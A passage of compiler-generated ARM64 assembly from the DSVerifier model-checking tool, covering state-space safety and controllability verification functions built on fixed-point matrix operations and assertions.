.L1493:
mov w0, w1
ldr d8, [sp, 16]
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_restore 72
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE145:
.size verify_error_state_space, .-verify_error_state_space
.align 2
.global fxp_ss_closed_loop_safety
.type fxp_ss_closed_loop_safety, %function
fxp_ss_closed_loop_safety:
.LFB146:
.cfi_startproc
sub sp, sp, #816
.cfi_def_cfa_offset 816
stp x29, x30, [sp]
.cfi_offset 29, -816
.cfi_offset 30, -808
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 808]
mov x1, 0
strh wzr, [sp, 30]
str wzr, [sp, 36]
b .L1499
.L1503:
str wzr, [sp, 32]
b .L1500
.L1502:
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldr w1, [sp, 32]
ldr w2, [sp, 36]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 48
ldr d0, [x0, x1, lsl 3]
fcmp d0, #0.0
beq .L1501
mov w0, 1
strh w0, [sp, 30]
.L1501:
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L1500:
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w1, w0
ldr w0, [sp, 32]
cmp w0, w1
bcc .L1502
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L1499:
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mov w1, w0
ldr w0, [sp, 36]
cmp w0, w1
bcc .L1503
str wzr, [sp, 36]
b .L1504
.L1507:
str wzr, [sp, 32]
b .L1505
.L1506:
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldr w1, [sp, 32]
ldr w2, [sp, 36]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 96
ldr d0, [x0, x1, lsl 3]
ldr w0, [sp, 32]
ldr w1, [sp, 36]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 40
str d0, [x1, x0]
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L1505:
ldr w0, [sp, 32]
cmp w0, 0
beq .L1506
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L1504:
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w1, w0
ldr w0, [sp, 36]
cmp w0, w1
bcc .L1507
str wzr, [sp, 36]
b .L1508
.L1511:
str wzr, [sp, 32]
b .L1509
.L1510:
ldr w0, [sp, 32]
ldr w1, [sp, 36]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 424
str xzr, [x1, x0]
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L1509:
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mov w1, w0
ldr w0, [sp, 32]
cmp w0, w1
bcc .L1510
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L1508:
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w1, w0
ldr w0, [sp, 36]
cmp w0, w1
bcc .L1511
str wzr, [sp, 36]
b .L1512
.L1515:
str wzr, [sp, 32]
b .L1513
.L1514:
ldr w0, [sp, 32]
ldr w1, [sp, 36]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 552
str xzr, [x1, x0]
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L1513:
ldr w0, [sp, 32]
cmp w0, 0
beq .L1514
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L1512:
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mov w1, w0
ldr w0, [sp, 36]
cmp w0, w1
bcc .L1515
str wzr, [sp, 36]
b .L1516
.L1519:
str wzr, [sp, 32]
b .L1517
.L1518:
ldr w0, [sp, 32]
ldr w1, [sp, 36]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 680
str xzr, [x1, x0]
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L1517:
ldr w0, [sp, 32]
cmp w0, 3
bls .L1518
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L1516:
ldr w0, [sp, 36]
cmp w0, 3
bls .L1519
str wzr, [sp, 36]
b .L1520
.L1523:
str wzr, [sp, 32]
b .L1521
.L1522:
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldr w1, [sp, 32]
ldr w2, [sp, 36]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 112
ldr d0, [x0, x1, lsl 3]
bl fxp_double_to_fxp
mov x2, x0
ldr w0, [sp, 32]
ldr w1, [sp, 36]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 424
str x2, [x1, x0]
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L1521:
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mov w1, w0
ldr w0, [sp, 32]
cmp w0, w1
bcc .L1522
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L1520:
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w1, w0
ldr w0, [sp, 36]
cmp w0, w1
bcc .L1523
str wzr, [sp, 36]
b .L1524
.L1527:
str wzr, [sp, 32]
b .L1525
.L1526:
ldr w0, [sp, 32]
ldr w1, [sp, 36]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 168
str xzr, [x1, x0]
ldr w0, [sp, 32]
ldr w1, [sp, 36]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 296
str xzr, [x1, x0]
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L1525:
ldr w0, [sp, 32]
cmp w0, 3
bls .L1526
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L1524:
ldr w0, [sp, 36]
cmp w0, 3
bls .L1527
mov w0, 1
str w0, [sp, 36]
nop
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldr d0, [x0, 640]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 808]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L1529
bl __stack_chk_fail
.L1529:
ldp x29, x30, [sp]
add sp, sp, 816
.cfi_restore 29
.cfi_restore 30
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE146:
.size fxp_ss_closed_loop_safety, .-fxp_ss_closed_loop_safety
.section .rodata
.align 3
.LC56:
.string "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
.align 3
.LC57:
.string "output_double <= error_limit"
.text
.align 2
.global verify_safety_state_space
.type verify_safety_state_space, %function
verify_safety_state_space:
.LFB147:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
bl fxp_ss_closed_loop_safety
fcvtzs d0, d0
str d0, [sp, 16]
ldr x0, [sp, 16]
bl fxp_to_double
str d0, [sp, 24]
adrp x0, :got:error_limit
ldr x0, [x0, #:got_lo12:error_limit]
ldr d0, [x0]
ldr d1, [sp, 24]
fcmpe d1, d0
bls .L1531
adrp x0, __PRETTY_FUNCTION__.3
add x3, x0, :lo12:__PRETTY_FUNCTION__.3
mov w2, 140
adrp x0, .LC56
add x1, x0, :lo12:.LC56
adrp x0, .LC57
add x0, x0, :lo12:.LC57
bl __assert_fail
.L1531:
mov w0, 0
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE147:
.size verify_safety_state_space, .-verify_safety_state_space
.section .rodata
.align 3
.LC58:
.string "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
.align 3
.LC59:
.string "determinant(controllabilityMatrix_double,nStates) != 0"
.text
.align 2
.global verify_controllability
.type verify_controllability, %function
verify_controllability:
.LFB148:
.cfi_startproc
sub sp, sp, #944
.cfi_def_cfa_offset 944
stp x29, x30, [sp]
.cfi_offset 29, -944
.cfi_offset 30, -936
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 936]
mov x1, 0
str wzr, [sp, 24]
b .L1534
.L1537:
str wzr, [sp, 28]
b .L1535
.L1536:
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 40
str xzr, [x1, x0]
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 168
str xzr, [x1, x0]
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 296
str xzr, [x1, x0]
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 424
str xzr, [x1, x0]
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 552
str xzr, [x1, x0]
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 680
str xzr, [x1, x0]
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L1535:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w1, [x0]
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mul w0, w1, w0
ldr w1, [sp, 28]
cmp w1, w0
blt .L1536
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L1534:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 24]
cmp w1, w0
blt .L1537
str wzr, [sp, 24]
b .L1538
.L1541:
str wzr, [sp, 28]
b .L1539
.L1540:
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 28]
ldrsw x2, [sp, 24]
lsl x2, x2, 2
add x1, x2, x1
ldr d0, [x0, x1, lsl 3]
bl fxp_double_to_fxp
mov x2, x0
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 40
str x2, [x1, x0]
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L1539:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 28]
cmp w1, w0
blt .L1540
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L1538:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 24]
cmp w1, w0
blt .L1541
str wzr, [sp, 24]
b .L1542
.L1545:
str wzr, [sp, 28]
b .L1543
.L1544:
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
ldrsw x1, [sp, 28]
ldrsw x2, [sp, 24]
lsl x2, x2, 2
add x1, x2, x1
add x1, x1, 16
ldr d0, [x0, x1, lsl 3]
bl fxp_double_to_fxp
mov x2, x0
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 168
str x2, [x1, x0]
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L1543:
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
ldr w1, [sp, 28]
cmp w1, w0
blt .L1544
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L1542:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 24]
cmp w1, w0
blt .L1545
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
cmp w0, 1
ble .L1546
str wzr, [sp, 32]
str wzr, [sp, 28]
b .L1547
.L1552:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w5, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w6, w0
ldr w1, [sp, 32]
add x2, sp, 424
add x0, sp, 40
mov x4, x2
mov w3, w1
mov x2, x0
mov w1, w6
mov w0, w5
bl fxp_exp_matrix
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w8, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w9, w0
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w3, w0
add x2, sp, 552
add x1, sp, 168
add x0, sp, 424
mov x6, x2
mov x5, x1
mov x4, x0
mov w2, w9
mov w1, w8
mov w0, w7
bl fxp_matrix_multiplication
str wzr, [sp, 36]
b .L1548
.L1551:
str wzr, [sp, 24]
b .L1549
.L1550:
ldrsw x0, [sp, 36]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 552
ldr x2, [x1, x0]
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 296
str x2, [x1, x0]
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L1549:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 24]
cmp w1, w0
blt .L1550
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L1548:
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
ldr w1, [sp, 36]
cmp w1, w0
blt .L1551
.L1547:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w1, [x0]
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mul w0, w1, w0
ldr w1, [sp, 28]
cmp w1, w0
blt .L1552
str wzr, [sp, 24]
b .L1553
.L1556:
str wzr, [sp, 28]
b .L1554
.L1555:
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 424
str xzr, [x1, x0]
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L1554:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w1, [x0]
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mul w0, w1, w0
ldr w1, [sp, 28]
cmp w1, w0
blt .L1555
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L1553:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 24]
cmp w1, w0
blt .L1556
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w2, [x0]
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w1, [x0]
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mul w3, w1, w0
add x1, sp, 424
add x0, sp, 296
bl fxp_transpose
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w1, [x0]
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mul w0, w1, w0
mov w8, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w1, [x0]
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mul w0, w1, w0
mov w9, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w3, w0
add x2, sp, 808
add x1, sp, 424
add x0, sp, 296
mov x6, x2
mov x5, x1
mov x4, x0
mov w2, w9
mov w1, w8
mov w0, w7
bl fxp_matrix_multiplication
str wzr, [sp, 24]
b .L1557
.L1560:
str wzr, [sp, 28]
b .L1558
.L1559:
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 808
ldr x0, [x1, x0]
bl fxp_to_double
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 680
str d0, [x1, x0]
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L1558:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 28]
cmp w1, w0
blt .L1559
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L1557:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 24]
cmp w1, w0
blt .L1560
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w1, [x0]
add x0, sp, 680
bl determinant
fcmp d0, #0.0
bne .L1562
adrp x0, __PRETTY_FUNCTION__.2
add x3, x0, :lo12:__PRETTY_FUNCTION__.2
mov w2, 91
adrp x0, .LC58
add x1, x0, :lo12:.LC58
adrp x0, .LC59
add x0, x0, :lo12:.LC59
bl __assert_fail
.L1546:
str wzr, [sp, 28]
b .L1563
.L1566:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w5, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w6, w0
ldr w1, [sp, 28]
add x2, sp, 424
add x0, sp, 40
mov x4, x2
mov w3, w1
mov x2, x0
mov w1, w6
mov w0, w5
bl fxp_exp_matrix
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w8, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w9, w0
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w3, w0
add x2, sp, 552
add x1, sp, 168
add x0, sp, 424
mov x6, x2
mov x5, x1
mov x4, x0
mov w2, w9
mov w1, w8
mov w0, w7
bl fxp_matrix_multiplication
str wzr, [sp, 24]
b .L1564
.L1565:
ldrsw x0, [sp, 24]
lsl x0, x0, 5
add x1, sp, 552
ldr x2, [x1, x0]
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 296
str x2, [x1, x0]
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L1564:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 24]
cmp w1, w0
blt .L1565
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L1563:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 28]
cmp w1, w0
blt .L1566
str wzr, [sp, 24]
b .L1567
.L1570:
str wzr, [sp, 28]
b .L1568
.L1569:
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 296
ldr x0, [x1, x0]
bl fxp_to_double
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 680
str d0, [x1, x0]
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L1568:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 28]
cmp w1, w0
blt .L1569
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L1567:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 24]
cmp w1, w0
blt .L1570
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w1, [x0]
add x0, sp, 680
bl determinant
fcmp d0, #0.0
bne .L1562
adrp x0, __PRETTY_FUNCTION__.2
add x3, x0, :lo12:__PRETTY_FUNCTION__.2
mov w2, 113
adrp x0, .LC58
add x1, x0, :lo12:.LC58
adrp x0, .LC59
add x0, x0, :lo12:.LC59
bl __assert_fail
.L1562:
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 936]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L1572
bl __stack_chk_fail
.L1572:
mov w0, w1
ldp x29, x30, [sp]
add sp, sp, 944
.cfi_restore 29
.cfi_restore 30
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE148:
.size verify_controllability, .-verify_controllability
.section .rodata
.align 3
.LC60:
.string "determinant(mimo_controllabilityMatrix_double,nStates) != 0"
.align 3
.LC61:
.string "determinant(controllabilityMatrix,nStates) != 0"
.text
.align 2
.global verify_controllability_double
.type verify_controllability_double, %function
verify_controllability_double:
.LFB149:
.cfi_startproc
sub sp, sp, #560
.cfi_def_cfa_offset 560
stp x29, x30, [sp]
.cfi_offset 29, -560
.cfi_offset 30, -552
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 552]
mov x1, 0
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
cmp w0, 1
ble .L1574
str wzr, [sp, 32]
str wzr, [sp, 28]
b .L1575
.L1580:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w5, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w6, w0
ldr w0, [sp, 32]
add x1, sp, 168
mov x4, x1
mov w3, w0
adrp x0, :got:_controller
ldr x2, [x0, #:got_lo12:_controller]
mov w1, w6
mov w0, w5
bl double_exp_matrix
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w8, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w2, w0
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w3, w0
add x0, sp, 296
add x1, sp, 168
mov x6, x0
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
add x5, x0, 128
mov x4, x1
mov w1, w8
mov w0, w7
bl double_matrix_multiplication
str wzr, [sp, 36]
b .L1576
.L1579:
str wzr, [sp, 24]
b .L1577
.L1578:
ldrsw x0, [sp, 36]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 296
ldr d0, [x1, x0]
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 40
str d0, [x1, x0]
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L1577:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 24]
cmp w1, w0
blt .L1578
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L1576:
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
ldr w1, [sp, 36]
cmp w1, w0
blt .L1579
.L1575:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w1, [x0]
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mul w0, w1, w0
ldr w1, [sp, 28]
cmp w1, w0
blt .L1580
str wzr, [sp, 24]
b .L1581
.L1584:
str wzr, [sp, 28]
b .L1582
.L1583:
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 168
str xzr, [x1, x0]
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L1582:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w1, [x0]
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mul w0, w1, w0
ldr w1, [sp, 28]
cmp w1, w0
blt .L1583
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L1581:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 24]
cmp w1, w0
blt .L1584
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w2, [x0]
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w1, [x0]
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mul w3, w1, w0
add x1, sp, 168
add x0, sp, 40
bl transpose
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w1, [x0]
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mul w0, w1, w0
mov w8, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w1, [x0]
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mul w0, w1, w0
mov w9, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w3, w0
add x2, sp, 424
add x1, sp, 168
add x0, sp, 40
mov x6, x2
mov x5, x1
mov x4, x0
mov w2, w9
mov w1, w8
mov w0, w7
bl double_matrix_multiplication
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w1, [x0]
add x0, sp, 424
bl determinant
fcmp d0, #0.0
bne .L1586
adrp x0, __PRETTY_FUNCTION__.1
add x3, x0, :lo12:__PRETTY_FUNCTION__.1
mov w2, 154
adrp x0, .LC58
add x1, x0, :lo12:.LC58
adrp x0, .LC60
add x0, x0, :lo12:.LC60
bl __assert_fail
.L1574:
str wzr, [sp, 28]
b .L1587
.L1590:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w5, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w6, w0
ldr w0, [sp, 28]
add x1, sp, 168
mov x4, x1
mov w3, w0
adrp x0, :got:_controller
ldr x2, [x0, #:got_lo12:_controller]
mov w1, w6
mov w0, w5
bl double_exp_matrix
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w8, w0
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w2, w0
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w3, w0
add x0, sp, 296
add x1, sp, 168
mov x6, x0
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
add x5, x0, 128
mov x4, x1
mov w1, w8
mov w0, w7
bl double_matrix_multiplication
str wzr, [sp, 24]
b .L1588
.L1589:
ldrsw x0, [sp, 24]
lsl x0, x0, 5
add x1, sp, 296
ldr d0, [x1, x0]
ldrsw x0, [sp, 28]
ldrsw x1, [sp, 24]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 40
str d0, [x1, x0]
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L1588:
adrp x0, :got:nStates
